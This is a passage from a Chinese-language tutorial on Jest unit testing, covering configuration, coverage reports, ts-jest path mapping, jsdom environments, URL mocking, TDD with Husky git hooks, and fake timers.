  // A preset that is used as a base for Jest's configuration
  // Jest 配置的预设模板（如 ts-jest）
  // preset: undefined,

  // Run tests from one or more projects
  // 可以配置多个项目同时运行测试
  // projects: undefined,

  // Use this configuration option to add custom reporters to Jest
  // 自定义测试报告输出方式（可添加插件）
  // reporters: undefined,

  // Automatically reset mock state before every test
  // 每次测试前自动重置 mock 的状态
  // resetMocks: false,

  // Reset the module registry before running each individual test
  // 在每个测试前重置模块注册表（强制重新加载模块）
  // resetModules: false,

  // A path to a custom resolver
  // 自定义模块解析器路径（决定模块如何被找到）
  // resolver: undefined,

  // Automatically restore mock state and implementation before every test
  // 在每个测试前自动恢复 mock 的实现
  // restoreMocks: false,

  // The root directory that Jest should scan for tests and modules within
  // Jest 搜索测试文件和模块的根目录
  // rootDir: undefined,

  // A list of paths to directories that Jest should use to search for files in
  // Jest 搜索文件的目录路径
  // roots: [
  //   "<rootDir>"
  // ],

  // Allows you to use a custom runner instead of Jest's default test runner
  // 使用自定义测试运行器（默认 jest-runner）
  // runner: "jest-runner",

  // The paths to modules that run some code to configure or set up the testing environment before each test
  // 每个测试运行前执行的初始化模块路径（通常用于全局配置）
  // setupFiles: [],

  // A list of paths to modules that run some code to configure or set up the testing framework before each test
  // 在测试框架初始化后运行的配置模块路径
  // setupFilesAfterEnv: [],

  // The number of seconds after which a test is considered as slow and reported as such in the results.
  // 定义测试超过多少秒算“慢测试”
  // slowTestThreshold: 5,

  // A list of paths to snapshot serializer modules Jest should use for snapshot testing
  // Jest 快照测试时使用的序列化器模块
  // snapshotSerializers: [],

  // The test environment that will be used for testing
  // 指定测试运行的环境（例如 jest-environment-node 或 jsdom）
  // testEnvironment: "jest-environment-node",

  // Options that will be passed to the testEnvironment
  // 传递给测试环境的额外配置项
  // testEnvironmentOptions: {},

  // Adds a location field to test results
  // 是否在测试结果中添加位置信息
  // testLocationInResults: false,

  // The glob patterns Jest uses to detect test files
  // Jest 用于识别测试文件的匹配模式
  // testMatch: [
  //   "**/__tests__/**/*.?([mc])[jt] s?(x)",
  //   "**/?(*.)+(spec|test).?([mc])[jt] s?(x)"
  // ],

  // An array of regexp pattern strings that are matched against all test paths, matched tests are skipped
  // 用于跳过特定测试文件的路径匹配模式
  // testPathIgnorePatterns: [
  //   "\\\\node_modules\\\\"
  // ],

  // The regexp pattern or array of patterns that Jest uses to detect test files
  // 另一种定义测试文件匹配规则的方式（可替代 testMatch）
  // testRegex: [],

  // This option allows the use of a custom results processor
  // 使用自定义结果处理器的路径
  // testResultsProcessor: undefined,

  // This option allows use of a custom test runner
  // 使用自定义测试运行器（默认 jest-circus/runner）
  // testRunner: "jest-circus/runner",

  // A map from regular expressions to paths to transformers
  // 定义文件如何被转换（如 Babel 或 ts-jest）
  // transform: undefined,

  // An array of regexp pattern strings that are matched against all source file paths, matched files will skip transformation
  // 匹配这些文件的路径时跳过代码转换
  // transformIgnorePatterns: [
  //   "\\\\node_modules\\\\",
  //   "\\.pnp\\.[^\\\\]+$"
  // ],

  // An array of regexp pattern strings that are matched against all modules before the module loader will automatically return a mock for them
  // 匹配的模块在加载前会自动返回 mock
  // unmockedModulePathPatterns: undefined,

  // Indicates whether each individual test should be reported during the run
  // 是否在执行时逐条显示测试结果（详细模式）
  // verbose: undefined,

  // An array of regexp patterns that are matched against all source file paths before re-running tests in watch mode
  // watch 模式下忽略重新运行的文件路径匹配
  // watchPathIgnorePatterns: [],

  // Whether to use watchman for file crawling
  // 是否使用 watchman 监控文件变化（macOS 默认开启）
  // watchman: true,
};

export default config; // 导出 Jest 配置对象
```

```js
// sum.js
const sum = (a, b) => {
  return a + b;
}

module.exports = sum;
```

```js
// sum.test.js
const sum = require("./sum");

describe('sum', () => {
  it('加法', () => {
    expect(sum(1, 1)).toEqual(2);
  });
})
```

```bash
npm run test
```

```bash
PS F:\jest-demo> npm run test

> jest-demo@1.0.0 test
> jest

 PASS  src/sum.test.js
  sum
    √ 加法 (3 ms)

----------|---------|----------|---------|---------|-------------------
File      | % Stmts | % Branch | % Funcs | % Lines | Uncovered Line #s 
----------|---------|----------|---------|---------|-------------------
All files |     100 |      100 |     100 |     100 | 
 sum.js   |     100 |      100 |     100 |     100 | 
----------|---------|----------|---------|---------|-------------------
Test Suites: 1 passed, 1 total
Tests:       1 passed, 1 total
Snapshots:   0 total
Time:        0.578 s
Ran all test suites.
```

` PASS  src/sum.test.js` 表示测试文件 `src/sum.test.js` **执行通过（PASS）**，如果是失败，会显示 `FAIL` 并列出错误。

```bash
----------|---------|----------|---------|---------|-------------------
File      | % Stmts | % Branch | % Funcs | % Lines | Uncovered Line #s 
----------|---------|----------|---------|---------|-------------------
All files |     100 |      100 |     100 |     100 | 
 sum.js   |     100 |      100 |     100 |     100 | 
----------|---------|----------|---------|---------|-------------------
```

这是 **测试覆盖率报告（Coverage Report）**，显示代码被测试覆盖的比例：

| 列名                  | 含义                                                        |
| --------------------- | ----------------------------------------------------------- |
| **File**              | 文件名                                                      |
| **% Stmts**           | 语句（statements）覆盖率，执行到的语句比例                  |
| **% Branch**          | 分支（branch）覆盖率，比如 if / switch 等条件分支的覆盖情况 |
| **% Funcs**           | 函数（functions）覆盖率，表示定义的函数有多少被调用过       |
| **% Lines**           | 行（lines）覆盖率，被执行的代码行占总行数的比例             |
| **Uncovered Line #s** | 未被测试覆盖的行号（此处为空，说明全覆盖）                  |

这里都是 100%，说明 **测试完全覆盖了 sum.js 文件**。

```bash
Test Suites: 1 passed, 1 total
```

测试套件（Test Suite）是一个测试文件。

总共有 1 个测试文件，且全部通过。

```bash
Tests:       1 passed, 1 total
```

测试用例（Test）数量统计。

一共有 1 个测试用例，已通过。

```bash
Snapshots:   0 total
```

Snapshot 测试数量。

这里没有使用快照测试（常用于 React 组件或 UI 测试）。

```bash
Time:        0.578 s
```

本次测试总耗时约 0.578 秒。

当你启用了 `collectCoverage: true` 时，Jest 会在测试结束后生成一个 `coverage/` 文件夹，里面保存了详细的覆盖率结果。

`coverage/` 文件夹结构（典型）

```bash
coverage/
├── clover.xml
├── coverage-final.json
├── lcov-report/
│   ├── index.html
│   ├── base.css
│   ├── prettify.css
│   ├── prettify.js
│   ├── sorter.js
│   ├── src/
│   │   └── sum.js.html
│   └── ...
└── lcov.info
```

Jest 在运行测试时会自动在 `coverage` 目录下生成多种格式的覆盖率报告文件，包括 **JSON**、**XML** 和 **HTML** 等。

这些不同格式的报告，本质上描述的内容是相同的，只是为了 **方便不同工具或平台读取与展示**——例如，JavaScript 工具更容易读取 JSON，CI/CD 系统或 SonarQube 更偏好 XML。

不过，无论是哪种格式，文本报告都不够直观。

因此，Jest 还会生成一个 **网页版本的可视化报告**，位于 `coverage/lcov-report/index.html`。

只需在浏览器中打开这个文件，就能以图形化的方式清晰地看到每个文件、函数、语句、分支的测试覆盖情况——让测试结果一目了然。

## 转译器

**Jest 本身不做代码转译工作。** 在执行测试时，它会调用已有的 **转译器/编译器** 来做代码转译。

在前端，我们最熟悉的两个转译器就是 [Babel](https://babeljs.io/) 以及 [TSC](https://www.typescriptlang.org/) 了。

**TSC 转译**

```bash
npm i -D typescript
```

```bash
npx tsc --init
```

```bash
npm i -D ts-jest
```

在 `jest.config.js` 里添加一行配置：

```bash
module.exports = {
  preset: 'ts-jest',
  // ...
};
```

如果有很多的报错，大概是 TS 找不到对应的 **类型定义**，

```bash
npm i -D @types/jest
```

然后在 `tsconfig.json` 里加上 `jest` 和 `node` 类型声明：

```json
{
  "compilerOptions": {
    "types": ["node", "jest"]
  }
}
```

**路径简写**

在 `moduleDirectories` 添加 `"src"`：

```js
// jest.config.js
module.exports = {
  moduleDirectories: ["node_modules", "src"],
  // ...
}
```

在 `tsconfig.json` 里指定 `baseUrl` 和 `paths` 路径：

```json
{
  "compilerOptions": {
    "baseUrl": "./",
    "paths": {
      "utils/*": ["src/utils/*"]
    }
  }
}
```

`tsconfig.json` 里的 `paths` 就是把 `utils/xxx` 映射成 `src/utils/xxx`

`jest.config.js` 里的 `moduleDirectories` 直接把 `utils/sum` 当作第三方模块，先在 `node_modules` 里找，找不到再从 `src/xxx` 下去找。

**@ 路径匹配**

```json
{
  "compilerOptions": {
    "paths": {
      "@/*": ["src/*"]
    }
  }
}
```

```js
// jest.config.js
modulex.exports = {
  "moduleNameMapper": {
    "@/(.*)": "<rootDir>/src/$1"
  }
}
```

还可以用 `ts-jest` 里的工具函数 `pathsToModuleNameMapper` 来把 `tsconfig.json` 里的 `paths` 配置复制到 `jest.config.js` 里的 `moduleNameMapper`：

```js
// jest.config.js
const { pathsToModuleNameMapper } = require('ts-jest/utils')
const { compilerOptions } = require('./tsconfig')

module.exports = {
  // [...]
  // { prefix: '<rootDir/>' }
  moduleNameMapper: pathsToModuleNameMapper(compilerOptions.paths, {
    prefix: "<rootDir>/",
  }),
}
```

## 测试环境

在使用 Jest 进行单元测试时，有时需要测试一些仅在浏览器环境中存在的 API，例如 `localStorage`、`sessionStorage` 或 `fetch`。因为 Jest 默认运行在 Node 环境下，这些浏览器专有的 API 并不存在，会导致测试报错。

为了解决这个问题，我们可以使用 **全局 Mock（全局伪实现）**，在测试前创建好这些 API 的模拟实现。常用做法如下：

**创建全局 Mock 文件**

比如在项目中创建 `tests/jest-setup.ts`，对浏览器 API 做伪实现：

```ts
// tests/jest-setup.ts
class LocalStorageMock {
  private store: Record<string, string> = {};

  clear() {
    this.store = {};
  }

  getItem(key: string) {
    return this.store[key] || null;
  }

  setItem(key: string, value: string) {
    this.store[key] = value.toString();
  }

  removeItem(key: string) {
    delete this.store[key];
  }
}

global.localStorage = new LocalStorageMock() as any;
```

**在 Jest 配置中使用 `setupFilesAfterEnv`**

在 `jest.config.js` 中添加：

```ts
module.exports = {
  // ...其他配置
  setupFilesAfterEnv: ['./tests/jest-setup.ts'],
};
```

**作用**：

* `setupFilesAfterEnv` 会在每个测试文件执行前加载指定文件。
* 可以用来全局设置 Jest 的环境，例如添加自定义匹配器、配置 Mock、初始化全局变量等。
* 与 `setupFiles` 不同，`setupFiles` 在测试框架安装前执行，而 `setupFilesAfterEnv` 在测试框架安装后执行，更适合进行环境配置和扩展 Jest 功能。

**效果**

* 配置完成后，所有测试文件都能直接使用 `localStorage`，无需单独在每个测试文件中 Mock。
* 保证测试环境尽可能接近浏览器环境，同时提高测试可维护性。

`setupFiles` 和 `setupFilesAfterEnv` 的区别：

```json
[ 准备测试环境（Node 或 jsdom） ] 
          │
          ▼
      setupFiles
          │
          ▼
[ 引入测试框架（Jest/Jasmine） ]
          │
          ▼
  setupFilesAfterEnv
          │
          ▼
[  执行测试文件 (xxx.test.ts)  ]
```

`setupFiles`

执行时机：在 **引入测试环境后**，但在安装测试框架之前。

作用：适合做测试环境的基础准备，例如：

* Mock 全局对象（`window`, `document`, `localStorage`）
* 设置环境变量
* Polyfill 或全局函数

示例：

```ts
// setupFiles 中的例子
global.abcd = '测试用全局变量';
```

`setupFilesAfterEnv`

执行时机：在 **测试框架安装之后**，在每个测试文件执行之前。

作用：适合做与 Jest/Jasmine 相关的配置，例如：

* 自定义 Matcher
* Jest 插件配置
* 测试全局钩子（`beforeEach`、`afterEach`）

示例：

```ts
// setupFilesAfterEnv 中的例子
import '@testing-library/jest-dom'; // 扩展 expect 的 matcher
```

**只要是测试文件执行前**，理论上全局 Mock 都能工作。

**区别在于**：如果 Mock 只需要全局对象，不依赖 Jest API，用 `setupFiles` 就够；如果 Mock 需要 Jest API 或全局钩子，必须用 `setupFilesAfterEnv`。

像前面手动 Mock `localStorage` 这样的做法，其实有点“傻”。原因是：

* 浏览器提供的 API 太多，我们不可能全都手动 Mock。
* 手动 Mock 永远无法做到 100% 还原浏览器的真实行为。

为了简化这个问题，Jest 提供了 **`testEnvironment` 配置**：

```js
// jest.config.js
module.exports = {
  testEnvironment: "jsdom",
};
```

设置 `testEnvironment: "jsdom"` 后，每个测试文件都会运行在一个 **虚拟浏览器环境** 中。

**全局自动拥有浏览器标准 API**，包括 `window`、`document`、`localStorage`、`fetch` 等。

原理：Jest 使用 [jsdom](https://github.com/jsdom/jsdom) 库在 Node.js 中模拟一个浏览器环境。

* jsdom 用纯 JS 实现了大部分 Web 标准 API。
* 由于 Jest 的测试文件本身在 Node.js 下运行，jsdom 就充当了“浏览器环境的 Mock 实现”。

**注意**：如果清空 `jest-setup.ts` 的代码，直接 `npm run test`，依然能正常使用 `localStorage` 等 API，这是因为 `testEnvironment: "jsdom"` 已经提供了这些全局对象。

除了 `jsdom`，Jest 还有其他内置的测试环境，但一般都是 `jsdom` 的扩展或变体。

## 模拟 URL

**仅仅配置 jsdom 并不能解决所有问题**，尤其是修改 `window.location` 相关的场景。

```ts
const getSearchObj = () => {
  const { search } = window.location;
  const searchStr = search.slice(1);
  const pairs = searchStr.split("&");
  const searchObj: Record<string, string> = {};

  pairs.forEach(pair => {
    const [key, value] = pair.split("=");
    searchObj[key] = value;
  });

  return searchObj;
};

export default getSearchObj;
```

**功能**：把 URL 查询参数转换为对象

```ts
window.location.href = 'https://www.baidu.com?a = 1&b = 2';
getSearchObj(); // { a: '1', b: '2' }
```

现代写法可以用 `Object.fromEntries(new URLSearchParams(window.location.search).entries())`。

尝试在测试中修改 `window.location.href`：

```ts
window.location.href = "https://www.baidu.com?a=1&b=2";
```

测试会报错或无法生效

**原因**：jsdom 默认环境不允许直接修改 href（除了 hash）

**尝试的解决办法**

**Hack window.location**

```ts
Object.defineProperty(window, 'location', {
  writable: true,
  value: { href: 'https://google.com?a = 1&b = 2', search: '?a = 1&b = 2' },
});
```

* 可以生效，但需要同时写 `href` 和 `search`
* 不够优雅，维护成本高

**扩展测试环境**

可以继承 `jest-environment-jsdom`，把 jsdom 暴露到全局：

```ts
const JSDOMEnvironment = require("jest-environment-jsdom");

module.exports = class JSDOMEnvironmentGlobal extends JSDOMEnvironment {
  constructor(config, options) {
    super(config, options);
    this.global.jsdom = this.dom;
  }

  teardown() {
    this.global.jsdom = null;
    return super.teardown();
  }
};
```

这样就可以用 `global.jsdom.reconfigure({ url })` 来修改 URL

**缺点**：要写全局类型声明，还需要 any，比较麻烦

**使用 NPM 包**：[`jest-location-mock`](https://github.com/evelynhathaway/jest-location-mock)

```bash
npm i -D jest-location-mock
```

在 `jest-setup.ts` 引入：

```ts
import "jest-location-mock";
```

测试中直接使用 `window.location.assign` 修改 URL：

```ts
window.location.assign('https://www.baidu.com?a = 1&b = 2');
expect(getSearchObj()).toEqual({ a: '1', b: '2' });
```

**优点**：操作简单、代码量少、维护成本低

**限制**：只能 Mock `assign`、`reload`、`replace` 三个 API，但对于大部分测试场景足够用

**总结**

* **jsdom 提供基础浏览器环境**，但是不允许直接修改 `window.location.href`。
* **手动 Hack** 可以解决，但不够优雅，维护成本高。
* **扩展 Jest 测试环境** 或 **使用现成 NPM 包** 是更稳妥的方案。
* 对于 URL 修改这种场景，推荐使用 `jest-location-mock`，简单、可维护、效果好。
* **jsdom 本身** 就有修改 URL 的能力（`jsdom.reconfigure({ url })`），但是 **Jest 默认不暴露 jsdom 对象到测试文件的全局作用域**，所以你在测试文件里没法直接调用。
* **自己扩展测试环境** 把 jsdom 挂到 `global.jsdom` 也可以解决，但需要写额外的代码、类型声明，而且麻烦。
* **使用 `jest-location-mock`** 就简单得多：

```ts
window.location.assign('https://www.baidu.com?a = 1&b = 2');
```

* 在测试文件里直接就像在真实浏览器中操作 URL 一样
* 不需要修改全局测试环境，也不需要 Hack `window.location`
* 对于大多数测试场景已经足够，简单、直观、易维护

## 测试驱动开发

在日常开发中，我们经常在实现新功能时写下无数个 `console.log()` 调试输出。

调试完之后还要一条条删除，费时又繁琐。

其实，这些 `console.log()` 本质上就是一种 **“手动测试”** ，即我们手动执行程序，然后用眼睛去验证结果是否正确。

但如果我们能让 **程序自己验证程序** 呢？

这就是 **TDD（Test-Driven Development，测试驱动开发）** 的核心思想。

### TDD

TDD 是一种开发模式，它提倡：

**先写测试，再写代码。**

开发流程大致如下：

1. **编写测试用例**，定义功能目标和预期输出。
2. **运行测试（此时一定会失败）**，因为功能还没实现。
3. **实现功能代码**，让测试通过。
4. **重构代码**，优化结构与可维护性，同时确保测试依然全部通过。

这个循环被称为 **“红 → 绿 → 重构” 循环**。

* **红**：测试未通过（Red）
* **绿**：所有测试通过（Green）
* **重构**：在安全的前提下改进代码结构（Refactor）

### 优势

#### 明确目标，提升开发效率

TDD 相当于先给自己定一个清晰的“任务目标”。

每写一个功能，都有相应的测试用例作为验证标准。

运行 `npm run test` 时，看着控制台中红变绿的过程，就能直观看出开发进度。

#### 自动化验证，减少人工测试

测试用例能自动执行、自动验证输出，不需要手动运行、打印、检查结果。

节省大量调试时间，也避免了“改完忘删 log”的情况。

#### 安全重构，不怕崩逻辑

当你想重构代码（例如优化可读性或维护性）时，测试就是最好的 **安全网**。

测试会立刻告诉你是否破坏了原有逻辑，能极大减少重构风险。

很多开发者都有过“重构完发现业务崩了”的惨痛经历，而 TDD 能有效避免。

### 用例即文档

一个优秀的测试文件本身就是最好的文档。

它展示了函数的输入、输出以及预期行为。

比起阅读文字描述，**看测试运行过程更直观、更准确**。

对新接手项目的开发者来说，只需阅读测试，就能快速理解功能。

### 减少线上事故

结合 CI/CD 流程，在推送（commit/push）前自动执行测试：

```bash
npm run test
```

如果测试未通过，就阻止推送或构建。

能有效防止“推上去后才发现崩溃”的情况。

Git 提供了很多钩子（hooks），在执行特定操作时自动触发，比如：

| 钩子名称     | 触发时机           |
| ------------ | ------------------ |
| `pre-commit` | 在提交前执行       |
| `commit-msg` | 提交信息写完后执行 |
| `pre-push`   | 在推送前执行       |
| `post-merge` | 合并完成后执行     |

我们要用的就是 **`pre-push` 钩子**。

Husky 是目前前端项目里最流行的 Git Hooks 管理工具。

它的作用是：**让你能用 npm 脚本管理 git hooks，而不用去手动编辑 `.git/hooks` 文件。**

安装依赖

```bash
npm install husky --save-dev
```

启用 Git Hooks

```bash
npx husky install
```

然后在 `package.json` 中添加一行，确保别人克隆项目后也能自动启用：

```json
{
  "scripts": {
    "prepare": "husky install"
  }
}
```

添加一个 pre-push 钩子

```bash
npx husky add .husky/pre-push "npm run test"
```

执行完后会生成文件：`.husky/pre-push`

内容如下：

```bash
#!/usr/bin/env sh
. "$(dirname -- "$0")/_/husky.sh"

npm run test
```

现在效果是：每次执行 `git push` 时，Husky 会自动触发脚本：

* 如果 `npm run test` 全部通过 → 推送成功
* 如果有测试 失败 → 推送中断

**可扩展的实践技巧**

你还可以：

* 在 **pre-commit** 阶段执行 `npm run lint` 来检查代码风格；
* 在 **pre-push** 阶段执行 `npm run test`；
* 甚至在 **commit-msg** 阶段强制检查提交信息格式（配合 commitlint），[more](/posts/robp7vkr/)；

例如：

```bash
npx husky add .husky/pre-commit "npm run lint"
npx husky add .husky/commit-msg "npx commitlint --edit \$1"
```

### 适用场景

TDD 并非万能，它更适合以下几类开发任务：

| 场景类型         | 特点                           | 适用程度                |
| ---------------- | ------------------------------ | ----------------------- |
| **纯函数开发**   | 输入输出固定，可预测性高       | 非常适合              |
| **数据转换函数** | 数据结构清晰，逻辑稳定         | 非常适合              |
| **后端接口测试** | 请求响应明确，可自动验证       | 非常适合              |
| **Bug 修复场景** | 先写测试复现 bug，再修复并验证 | 推荐                  |
| **UI/交互开发**  | 状态多、操作复杂               | 一般，适合用 BDD 方式 |

### TDD vs BDD

| 对比项   | TDD（测试驱动开发）      | BDD（行为驱动开发）                       |
| -------- | ------------------------ | ----------------------------------------- |
| 关注点   | 功能是否实现正确         | 行为是否符合业务逻辑                      |
| 典型语法 | `test()` / `expect()`    | `describe()` / `it()` / `given-when-then` |
| 适用范围 | 工具函数、后端接口、算法 | 用户场景、业务流程、UI 行为               |

两者并不冲突。

在实际开发中，**TDD 更偏底层逻辑测试**，而 **BDD 更适合复杂业务场景测试**。

## Mock Timer

当代码中存在 `setTimeout`、`setInterval`、`setImmediate`、`Promise` 等异步逻辑时，如果直接让 Jest 按真实时间等待执行，那么测试会 **非常慢**（甚至超时）。

Jest 提供了一个强大的机制叫做 **“Fake Timers（伪造计时器）”**，可以 **模拟时间流逝**，让所有定时器同步执行。

你要用：

```js
jest.useFakeTimers()
jest.runAllTimers()
```

就能让多个 `setTimeout` 同步执行，**不用真的等那么久**。

假设有以下代码要测试：

```js
function delayedAction(callback) {
  setTimeout(() => {
    callback('done')
  }, 10000)
}
```

如果写测试这样：

```js
test('delayedAction works', (done) => {
  delayedAction((result) => {
    expect(result).toBe('done')
    done()
  })
})
```

那这段代码要 **等 10 秒** 才能结束，非常不合理。

**解决方案：使用 Jest 的“虚拟时间”API**

### `jest.useFakeTimers()`

告诉 Jest：**用假的计时器替换真实的定时器函数**

也就是把 `setTimeout`、`setInterval`、`clearTimeout` 等替换成“可控的版本”。

```js
jest.useFakeTimers()
```

此后，所有定时器都不会真实等待时间，而是进入 Jest 的“计时器队列”。

以下 API 会被 “替换成 Jest 自己的版本”（不是浏览器的原生版本）：

```bash
'Date'
'hrtime'
'nextTick'
'performance'
'queueMicrotask'

'requestAnimationFrame'
'cancelAnimationFrame'
'requestIdleCallback'
'cancelIdleCallback'

'setImmediate'
'clearImmediate'
'setInterval'
'clearInterval'
'setTimeout'
'clearTimeout'
```

也就是说：**所有时间相关的 API，都被 Jest 接管了**。

### `jest.runAllTimers()`

立即执行 **所有** 等待中的计时器（无论它们延迟多少）。

```js
jest.runAllTimers()
```

意思是：跳过时间流逝，所有 `setTimeout` 的回调 **立刻执行**。

完整示例：

**执行时间**：瞬间完成。

**不需要等 10 秒**。

```js
function delayedAction(callback) {
  setTimeout(() => {
    callback('done')
  }, 10000)
}

test('delayedAction executes immediately with fake timers', () => {
  jest.useFakeTimers()
  const callback = jest.fn()

  delayedAction(callback)

  // 模拟所有定时器立即触发
  jest.runAllTimers()

  expect(callback).toHaveBeenCalledWith('done')
})
```

**代码分析**：

`jest.useFakeTimers()` 告诉 Jest，从现在开始，不要用系统真实的 `setTimeout`，而用 Jest 自己的“虚拟时间系统”版本。

实际效果：所有 `setTimeout()` 调用不会真的等待；而是被 Jest 放入一个“待执行的定时器队列”；由 `jest.runAllTimers()` 来手动触发。

`jest.fn()` 会创建一个 **模拟函数（mock function）**。

它长得就像一个普通函数，但 Jest 会在内部 **记录它的调用信息**。

可以理解为：

```js
function mockFn(...args) {
  // Jest 内部记录：mockFn 被调用了几次、传了哪些参数
}
```

**它能做什么**？

| 功能                 | 示例                                            | 说明                    |
| -------------------- | ----------------------------------------------- | ----------------------- |
| 查看调用次数         | `callback.mock.calls.length`                    | 看看被调用了几次        |
| 查看第一次调用的参数 | `callback.mock.calls[0]`                        | 查看第 1 次调用时传的参数 |
| 查看是否被调用       | `expect(callback).toHaveBeenCalled()`           | 断言函数至少调用过一次  |
| 查看具体参数         | `expect(callback).toHaveBeenCalledWith('done')` | 断言被调用时的参数      |

调用 `delayedAction` 时，由于启用了 `jest.useFakeTimers()`，这个 `setTimeout` 不会真的等 10 秒，而是被 Jest 放进了一个内部的「定时任务列表」。

`jest.runAllTimers()` 这一行是关键操作：告诉 Jest：“别等了，把所有定时器的回调函数立刻执行！”

于是内部执行了：

```js
callback('done')
```

`expect(callback).toHaveBeenCalledWith('done')` 这是断言（expectation）。意思是：我期望这个回调函数曾经被调用过，而且调用时传入的参数是 `'done'`。

在 Jest 内部，它会检查：

```js
callback.mock.calls
```

里有没有一项等于 `['done']`。

如果有，测试通过；

如果没有，测试失败。

**执行流程**

| 顺序 | 代码                                       | 发生了什么                                                   |
| ---- | ------------------------------------------ | ------------------------------------------------------------ |
| 1    | `jest.useFakeTimers()`                     | 开启虚拟时间系统                                             |
| 2    | `jest.fn()`                                | 创建一个可追踪调用情况的模拟函数                             |
| 3    | `delayedAction(callback)`                  | 调用了一个含有 `setTimeout` 的函数，但不会真的等             |
| 4    | `jest.runAllTimers()`                      | 手动触发所有 `setTimeout` 执行，立刻调用了 `callback('done')` |
| 5    | `expect(...).toHaveBeenCalledWith('done')` | 断言：模拟函数确实被传入 `'done'` 调用过                     |

**其他常用的定时器控制** API

| API                               | 作用                                         |
| --------------------------------- | -------------------------------------------- |
| `jest.useFakeTimers()`            | 启用伪造计时器                               |
| `jest.useRealTimers()`            | 恢复真实的计时器（关闭模拟）                 |
| `jest.runAllTimers()`             | 立即执行所有定时器（包括嵌套）               |
| `jest.runOnlyPendingTimers()`     | 只运行当前已排队的定时器，不触发新加入的     |
| `jest.advanceTimersByTime(ms)`    | 模拟“时间流逝”，执行到 `ms` 毫秒之后的定时器 |
| `jest.advanceTimersToNextTimer()` | 快进到下一个定时器的触发点                   |
| `jest.clearAllTimers()`           | 清除所有定时器                               |
| `jest.getTimerCount()`            | 获取当前还有多少定时器未执行（Jest 28+）     |

**复杂例子**

如果你有多个延迟不同的定时器：

```js
function schedule() {
  setTimeout(() => console.log('A'), 1000)
  setTimeout(() => console.log('B'), 5000)
  setTimeout(() => console.log('C'), 10000)
}
```

你可以选择不同方式来控制执行节奏：

```js
jest.useFakeTimers()
schedule()

// 模拟经过 1 秒
jest.advanceTimersByTime(1000)
// 输出：A

// 再经过 4 秒
jest.advanceTimersByTime(4000)
// 输出：B

// 再经过 5 秒
jest.advanceTimersByTime(5000)
// 输出：C
```

整个过程几乎瞬间执行完成。

**执行分析**：

当你执行 `jest.useFakeTimers()` 后，`setTimeout` 等函数被替换成 Jest 自己的“虚拟版本”，它 **不会真的等待时间**，而是记录下这些定时任务：

| 回调 | 延迟时间 | 状态   |
| ---- | -------- | ------ |
| `A`  | 1000ms   | 未触发 |
| `B`  | 5000ms   | 未触发 |
| `C`  | 10000ms  | 未触发 |

Jest 在内部维护一个「虚拟时间指针」：`let currentFakeTime = 0;`

每当你调用 `jest.advanceTimersByTime(ms)` 时，它就会：

1. 把虚拟时间往前推进 `ms` 毫秒；
2. 检查所有定时任务：
   * 哪些任务的触发时间 <= 当前虚拟时间；
   * 就立即执行这些任务（同步执行）。

::: details 举例子

初始状态

```js
currentFakeTime = 0
定时器队列：
A @1000
B @5000
C @10000
```

第一次：`jest.advanceTimersByTime(1000)`

虚拟时间推进到 1000ms
→ 执行所有到期任务

执行：

```js
A()
```

此时：

```js
currentFakeTime = 1000
已执行：A
剩余：B @5000, C @10000
```

第二次：`jest.advanceTimersByTime(4000)`

虚拟时间从 1000 ➜ 5000
→ 执行所有触发时间 ≤ 5000 的任务

执行：

```js
B()
```

此时：

```js
currentFakeTime = 5000
已执行：A, B
剩余：C @10000
```

第三次：`jest.advanceTimersByTime(5000)`

虚拟时间从 5000 ➜ 10000
→ 执行所有触发时间 ≤ 10000 的任务

执行：

```js
C()
```

结束：

```js
currentFakeTime = 10000
所有任务已执行
```

:::

所以，`advanceTimersByTime()` 的逻辑是：模拟时间流逝，推进虚拟时钟到指定时刻，执行所有“应该在这段时间内触发”的任务。并不是“按顺序执行第 N 个定时器”，而是“根据延迟时间 + 当前时间”来判断哪些该执行。

::: details 补充演示：嵌套定时器情况

如果定时器内部再设定新的定时器：

```js
function nested() {
  setTimeout(() => {
    console.log('A')
    setTimeout(() => console.log('B'), 2000)
  }, 1000)
}

jest.useFakeTimers()
nested()

jest.advanceTimersByTime(1000) // 输出 A
jest.advanceTimersByTime(2000) // 输出 B
```

这时，第二个 `setTimeout` 是在第一个执行时新注册的，

Jest 也会动态加入定时任务队列中，因此也能被后续推进触发。

:::

现在知道了：`jest.useFakeTimers()` 会让所有的 `setTimeout` 等定时器变成“可控的假时间”。

但在真实业务中，很多延迟逻辑并不仅仅是 `setTimeout`，而是这样：

```js
setTimeout(async () => {
  const data = await fetchData()  // Promise 异步请求
  console.log(data)
}, 1000)
```

这时候就出现一个麻烦：

* `jest.advanceTimersByTime(1000)` 只能触发回调；
* 但里面的 `await` 仍然是异步的 Promise；
* Jest 不会自动等 Promise 解决（resolve）。

所以如果你测试写得太快，断言就可能还没等到 Promise 完成，测试就结束了。

这时的解决办法：**等待 Promise 任务完成**

Jest 的事件循环（event loop）模型跟 Node 一样，区分：

* **Timer 阶段**（setTimeout、setInterval）
* **Microtask 阶段**（Promise.then、await）

Fake Timer 只模拟 **宏任务时间**（timers），不会直接执行微任务（Promise 的 then 回调）。

**解决方式** 1：手动 `await Promise.resolve()`

```js
function delayedRequest(callback) {
  setTimeout(async () => {
    const result = await Promise.resolve('OK')
    callback(result)
  }, 1000)
}

test('works with async callback inside timer', async () => {
  jest.useFakeTimers()
  const callback = jest.fn()

  delayedRequest(callback)

  // 触发定时器
  jest.advanceTimersByTime(1000)

  // 等待所有微任务（Promise）执行完毕
  await Promise.resolve()

  expect(callback).toHaveBeenCalledWith('OK')
})
```

这里的

```js
await Promise.resolve()
```

相当于让测试“让出执行权”，执行所有当前微任务队列中的 Promise。

**解决方式** 2：使用 Jest 的异步定时器控制（v27+）

Jest 在 v27 之后引入了异步 API：

```js
await jest.runAllTimersAsync()
```

这个方法会同时处理：

* 所有定时器；
* 所有等待中的 Promise。

示例：

```js
test('async timer with promise', async () => {
  jest.useFakeTimers()

  const callback = jest.fn()

  setTimeout(async () => {
    const data = await Promise.resolve('data')
    callback(data)
  }, 1000)

  await jest.advanceTimersByTimeAsync(1000) // 等价于手动+Promise.resolve()

  expect(callback).toHaveBeenCalledWith('data')
})
```

这更干净，推荐写法（如果 Jest 版本支持）。

**注意事项**

**异步 + fake timers**

如果定时器回调中有异步逻辑（例如 Promise），需要配合 `await` + `runAllTimersAsync()`（Jest 27+ 支持异步 fake timers）。

```js
await jest.runAllTimersAsync()
```

**测试结束别忘了还原**

有时为了防止影响别的测试，需要：

```js
jest.useRealTimers()
```

**现代 Jest 建议写法**

Jest 28+ 新 API：

```js
jest.useFakeTimers({ legacyFakeTimers: false })
```

